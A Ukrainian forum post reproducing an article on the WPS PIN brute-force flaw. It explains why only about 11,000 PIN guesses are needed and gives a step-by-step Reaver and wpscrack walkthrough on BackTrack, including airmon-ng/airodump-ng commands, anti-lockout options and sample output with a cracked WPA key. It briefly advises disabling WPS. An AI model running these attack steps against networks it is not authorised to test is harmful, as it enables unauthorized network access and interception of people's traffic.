• Сторінка 1 з 1
  • 1
[WiFi] точка за 10 годин (WPS)
mOREBIT Offline
14 постів
Дата: Субота, 07.05.2016, 00:30 | Повідомлення # 1
Ще не так давно здавалося, що бездротова мережа, захищена за допомогою технології WPA2, цілком безпечна. Підібрати простий ключ для підключення дійсно можливо. Але якщо встановити по-справжньому довгий ключ, то збрутити його не допоможуть ні райдужні таблиці, ні навіть прискорення за рахунок GPU. Але, як виявилося, підключитися до бездротової мережі можна і без цього - скориставшись недавно знайденою уразливістю в протоколі WPS.

Ціна спрощень
Відкритих точок доступу, до яких взагалі не треба вводити ключ для підключення, стає все менше і менше. Здається, що скоро їх можна буде занести до Червоної книги. Якщо раніше людина могла навіть і не знати, що бездротову мережу можна закрити ключем, забезпечивши себе від сторонніх підключень, то тепер йому все частіше підказують про таку можливість. Взяти хоча б кастомні прошивки, які випускають провідні провайдери для популярних моделей роутерів, щоб спростити налаштування. Потрібно вказати дві речі - логін / пароль і ... ключ для захисту бездротової мережі. Що ще більш важливо, самі виробники устаткування намагаються зробити процес налаштування нехитрим. Так, більшість сучасних роутерів підтримують механізм WPS (Wi-Fi Protected Setup). З його допомогою користувач за лічені секунди може налаштувати безпечну бездротову мережу, взагалі не забиваючи собі голову тим, що «десь ще потрібно включити шифрування і прописати WPA-ключ». Ввів в системі восьмизначний символьний PIN, який написаний на роутері, - і готово! І ось тут тримайся міцніше. У грудні відразу двоє дослідників розповіли про серйозність в фундаментальних дірах у протоколі WPS. Це як чорний хід для будь-якого роутера. Виявилося, що якщо в точці доступу активований WPS (який, на хвилиночку, включений в більшості роутерів за замовчуванням), то підібрати PIN для підключення і витягти ключ для підключення можна за лічені години!

Як працює WPS?
Задумка творців WPS хороша. Механізм автоматично задає ім'я мережі і шифрування. Таким чином, користувачеві немає необхідності лізти в веб-інтерфейс і розбиратися зі складними налаштуваннями. А до вже налаштованої мережі можна без проблем додати будь-який пристрій (наприклад, ноутбук): якщо правильно ввести PIN, то він отримає всі необхідні налаштування. Це дуже зручно, тому всі великі гравці на ринку (Cisco / Linksys, Netgear, D-Link, Belkin, Buffalo, ZyXEL) зараз пропонують бездротові роутери з підтримкою WPS. Розберемося трохи докладніше.
Існує три варіанти використання WPS:
Push-Button-Connect (PBC). Користувач натискає спеціальну кнопку на роутері (хардварну) і на комп'ютері (софтварну), тим самим активуючи процес налаштування. Нам це нецікаво.
Введення PIN-коду в веб-інтерфейсі. Користувач заходить через браузер в адміністративний інтерфейс роутера і вводить там PIN-код з восьми цифр, написаний на корпусі пристрою (малюнок 1), після чого відбувається процес налаштування. Цей спосіб підходить скоріше для первинної конфігурації роутера, тому ми його розглядати теж не будемо.


Малюнок 1. PIN-код WPS, написаний на корпусі роутера


Введення PIN-коду на комп'ютері користувача (малюнок 2).
При з'єднанні з роутером можна відкрити спеціальну сесію WPS, в рамках якої налаштувати роутер або отримати вже наявні налаштування, якщо правильно ввести PIN-код. Ось це вже привабливо. Для відкриття подібної сесії не потрібна ніяка аутентифікація. Це може зробити будь-який бажаючий! Виходить, що PIN-код вже потенційно схильний атаці типу bruteforce. Але це лише квіточки.

Малюнок 2. Вікно для введення PIN-коду WPS

Уразливість
Як я вже помітив раніше, PIN-код складається з восьми цифр - отже, існує 10 ^ 8 (100000000) варіантів для підбору. Однак кількість варіантів можна істотно скоротити. Справа в тому, що остання цифра PIN-коду являє собою якусь контрольну суму, яка вираховується на підставі семи перших цифр. У підсумку отримуємо вже 10 ^ 7 (10000000) варіантів. Але й це ще не все! Далі уважно дивимося на пристрій протоколу аутентифікації WPS (малюнок 3). Таке відчуття, що його спеціально проектували, щоб залишити можливість для брутфорса. Виявляється, перевірка PIN-коду здійснюється в два етапи. Він ділиться на дві рівні частини, і кожна частина перевіряється окремо!


Малюнок 3. Протокол аутентифікації WPS
Подивимося на схему:
Якщо після відсилання повідомлення M4 атакуючий отримав у відповідь EAP-NACK, то він може бути впевнений, що перша частина PIN-коду неправильна.
Якщо ж він отримав EAP-NACK після відсилання M6, то, відповідно, друга частина PIN-коду невірна. Отримуємо 10 ^ 4 (10000) варіантів для першої половини і 10 ^ 3 (1000) для другої. У підсумку маємо всього лише 11000 варіантів для повного перебору. Щоб краще зрозуміти, як це буде працювати, подивися на схему.
Важливий момент - можлива швидкість перебору. Вона обмежена швидкістю обробки роутером WPS-запитів: одні точки доступу видаватимуть результат кожну секунду, інші - кожні десять секунд. Основний час при цьому витрачається на розрахунок відкритого ключа по алгоритму Діффі-Хеллмана, він повинен бути згенерований перед кроком M3. Витрачений на це час можна зекономити, вибравши на стороні клієнта простий секретний ключ, який надалі спростить розрахунки інших ключів. Практика показує, що для успішного результату зазвичай достатньо перебрати лише половину всіх варіантів, і в середньому брутфорс займає всього від чотирьох до десяти годин.

Малюнок 4. Блок-схема брутфорса PIN-коду WPS

Перша реалізація
Першою з'явилася реалізацією брутфорса стала утиліта wpscrack, написана дослідником Стефаном Фібйоком на мові Python. Утиліта використовувала бібліотеку Scapy, що дозволяє ін'ектувати довільні мережеві пакети. Сценарій можна запустити тільки під Linux-системою, попередньо перевівши бездротовий інтерфейс в режим моніторингу. Як параметри необхідно вказати ім'я мережевого інтерфейсу в системі, MAC-адресу бездротового адаптера, а також MAC-адрес точки доступу і її назва (SSID).
$ ./wpscrack.py --iface mon0 --client 94:0c:6d:88:00:00 --bssid f4:ec:38:cf:00:00 --ssid testap -v sniffer started trying 00000000 attempt took 0.95 seconds trying 00010009 <...> trying 18660005 attempt took 1.08 seconds trying 18670004 # found 1st half of PIN attempt took 1.09 seconds trying 18670011 attempt took 1.08 seconds <...> trying 18674095 # found 2st half of PIN <...> Network Key: 0000 72 65 61 6C 6C 79 5F 72 65 61 6C 6C 79 5F 6C 6F really_really_lo 0010 6E 67 5F 77 70 61 5F 70 61 73 73 70 68 72 61 73 ng_wpa_passphras 0020 65 5F 67 6F 6F 64 6F 6C 75 63 6B 5F 63 72 61 63 e_good_luck_crac 0030 6B 69 6E 67 5F 74 68 69 73 5F 6F 6E 65 king_this_one <...>
Як бачиш, спочатку була підібрана перша половина PIN-коду, потім - друга, і врешті-решт програма видала готовий до використання ключа для підключення до бездротової мережі. Складно уявити, скільки часу знадобилося б, щоб підібрати ключ такої довжини (61 символ) раніше існуючими інструментами. Втім, wpscrack не єдина утиліта для експлуатації уразливості, і це досить кумедний момент: в той же самий час над тією ж самою проблемою працював і інший дослідник - Крейг Хеффнер з компанії Tactical Network Solutions. Побачивши, що в Мережі з'явився працюючий PoC для реалізації атаки, він опублікував свою утиліту Reaver. Вона не тільки автоматизує процес підбору WPS-PIN і витягує PSK-ключ, а й пропонує більшу кількість налаштувань, щоб атаку можна було здійснити проти самих різних роутерів. До того ж вона підтримує набагато більшу кількість бездротових адаптерів. Ми вирішили взяти її за основу і детально описати, як зловмисник може використовувати уразливість в протоколі WPS для підключення до захищеної бездротової мережі.

HOW-TO
Як і для будь-якої іншої атаки на бездротову мережу, нам знадобиться Linux. Тут треба сказати, що Reaver присутній в репозиторії усіма відомого дистрибутива BackTrack, в якому до того ж вже включені необхідні драйвера для бездротових пристроїв. Тому використовувати ми будемо саме його.
Крок 0. Готуємо систему
На офіційному сайті BackTrack 5 R1 доступний для завантаження у вигляді віртуальної машини під VMware і завантажувального образу ISO. Рекомендую останній варіант. Можна просто записати образ на болванку, а можна за допомогою програми UNetbootin зробити завантажувальну флешку: так чи інакше, завантажившись з такого носія, ми без зайвих заморочок відразу матимемо систему, готову до роботи.
Крок 1. Вхід в систему
Логін і пароль для входу за замовчуванням - root: toor. Опинившись в консолі, можна сміливо стартувати «ікси» (є окремі збірки BackTrack - як з GNOME, так і KDE):
$ startx
Крок 2. Встановлення Reaver
Щоб завантажити Reaver, нам знадобиться інтернет. Тому підключаємо патчкорд або налаштовуємо бездротовий адаптер (меню «Applications> Internet> Wicd Network Manager»). Далі запускаємо емулятор терміналу, де завантажуємо останню версію утиліти через репозиторій:
$ svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps $ cd ./reaver-wps/src/ $ ./configure $ make $ make install
Ніяких проблем із збіркою під BackTrack не буде - перевірено особисто. У дистрибутиві Arch Linux, яким користуюсь я, встановлення проводиться простіше, завдяки наявності відповідного PKGBUILD'а:
$ yaourt -S reaver-wps-svn

Малюнок 5. Приклад роботи брутфорса Reaver
Крок 3. Підготовка до брутфорсу
Для використання Reaver необхідно проробити наступні речі:
- перевести бездротової адаптер в режим моніторингу;
- дізнатися ім'я бездротового інтерфейсу;
- дізнатися MAC-адресу точки доступу (BSSID);
- переконатися, що на точці активований WPS.

Для початку перевіримо, що бездротовий інтерфейс взагалі присутній в системі:
$ iwconfig
Якщо у висновку цієї команди є інтерфейс з описом (зазвичай це wlan0) - значить, система розпізнала адаптер (якщо він підключався до бездротової мережі, щоб завантажити Reaver, то краще обірвати підключення). Переведемо адаптер в режим моніторингу:
$ airmon-ng start wlan0
Ця команда створює віртуальний інтерфейс в режимі моніторингу, його назву буде вказано у висновку команди (зазвичай це mon0). Тепер нам треба знайти точку доступу для атаки і дізнатися її BSSID. Скористаємося утилітою для прослушки бездротового ефіру airodump-ng:
$ airodump-ng mon0
На екрані з'явиться список точок доступу в радіусі досяжності. Нас цікавлять точки з шифруванням WPA / WPA2 і аутентифікацією по ключу PSK. Краще вибирати одну з перших у списку, так як для проведення атаки бажаний хороший зв'язок з точкою. Якщо точок багато і список не вміщується на екрані, то можна скористатися іншою відомою утилітою - kismet, там інтерфейс більш пристосований в цьому плані. Опціонально можна на місці перевірити, чи включений на нашій точці механізм WPS. Для цього в комплекті з Reaver (але тільки якщо брати його з SVN) йде утиліта wash:
$ ./wash -i mon0
Як параметр задається ім'я інтерфейсу, переведеного в режим моніторингу. Також можна використовувати опцію '-f' і згодувати утиліті .cap файл, створений, наприклад, тим же airodump-ng. З незрозумілої причини в пакет Reaver в BackTrack не включили утиліту wash. Будемо сподіватися, до моменту публікації статті цю помилку виправлять.
Крок 4. Запускаємо брутфорс
Тепер можна приступати безпосередньо до перебору PIN'а. Для старту Reaver у найпростішому випадку потрібно небагато. Необхідно лише вказати ім'я інтерфейсу (перекладеного нами раніше в режим моніторингу) і BSSID точки доступу:
$ reaver -i mon0 -b 00:21:29:74:67:50 -vv
Ключ "-vv" включає розширений висновок програми, щоб ми могли переконатися, що все працює як треба.
Reaver v1.4 WiFi Protected Setup Attack Tool Copyright © 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com> [+] Waiting for beacon from 00:21:29:74:67:50 [+] Associated with 00:21:29:74:67:50 (ESSID: linksys) [+] Trying pin 63979978
Якщо програма послідовно відправляє PIN'и до точки доступу, значить, все завелося добре, і залишається тільки чекати. Процес може затягнутися. Найкоротша час, за який мені вдалося збрутфорсити PIN, склало приблизно 5:00. Як тільки він буде підібраний, програма радісно про це повідомить:
[+] Trying pin 64637129 [+] Key cracked in 13654 seconds [+] WPS PIN: '64637129' [+] WPA PSK: 'MyH0rseThink$YouStol3HisCarrot!' [+] AP SSID: 'linksys'
Найцінніше тут - це, звичайно ж, ключ WPA-PSK, який відразу ж можна використовувати для підключення. Все так просто, що навіть не вкладається в голові.

Чи можна захиститися?
Захиститися від атаки можна поки одним способом - відключити нафіг WPS в настройках роутера. Щоправда, як виявилося, зробити це можливо далеко не завжди. Оскільки вразливість існує не на рівні реалізації, а на рівні протоколу, чекати від виробників швидкого патча, який вирішив би всі проблеми, не варто. Найбільше, що вони можуть зараз зробити, - це максимально протидіяти брутфорсом. Наприклад, якщо блокувати WPS на 1:00 після п'яти невдалих спроб введення PIN-коду, то перебір займе вже близько 90 днів. Але інше питання, наскільки швидко можна накотити такий патч на мільйони пристроїв, які працюють по всьому світу?

Прокачуємо Reaver
У HOW TO ми показали найпростіший і найбільш універсальний спосіб використання утиліти Reaver. Однак реалізація WPS у різних виробників відрізняється, тому в деяких випадках необхідна додаткові налаштування. Нижче я приведу додаткові опції, які можуть підвищити швидкість і ефективність перебору ключа.
1. Можна задати номер каналу і SSID точки доступу:
# reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
2. Добре відзначається на швидкості брутфорсу опція '--dh-small', яка задає невелике значення секретного ключа, тим самим полегшуючи розрахунки на стороні точки доступу:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small

3. Таймаут очікування відповіді за замовчуванням дорівнює п'яти секундам. При необхідності його можна змінити:
# reaver -i mon0 -b 00:01:02:03:04:05 -t 2

4. Затримка між спробами за замовчуванням дорівнює одній секунді. Вона також може бути налаштована:
# reaver -i mon0 -b 00:01:02:03:04:05 -d 0

5. Деякі точки доступу можуть блокувати WPS на певний час, запідозривши, що їх намагаються взломати. Reaver цю ситуацію помічає і робить паузу в переборі на 315 секунд за замовчуванням, тривалість цієї паузи можна міняти:
# reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250

6. Деякі реалізації протоколу WPS розривають з'єднання при неправильному PIN-коді, хоча по специфікації повинні повертати особливе повідомлення. Reaver автоматично розпізнає таку ситуацію, для цього існує опція '--nack':
# reaver -i mon0 -b 00:01:02:03:04:05 --nack

7. Опція '--eap-terminate' призначена для роботи з тими АР, які потребують завершення WPS-сесії за допомогою повідомлення EAP FAIL:
# reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate

8. Виникнення помилок у WPS-сесії може означати, що АР обмежує число спроб введення PIN-коду, або просто перевантажена. Інформація про це буде відображатися на екрані. У цьому випадку Reaver призупиняє свою діяльність, причому час паузи може бути задано за допомогою опції '--fail-wait':
# reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360

Хабрахабр
Профіль
  • Сторінка 1 з 1
  • 1
Пошук: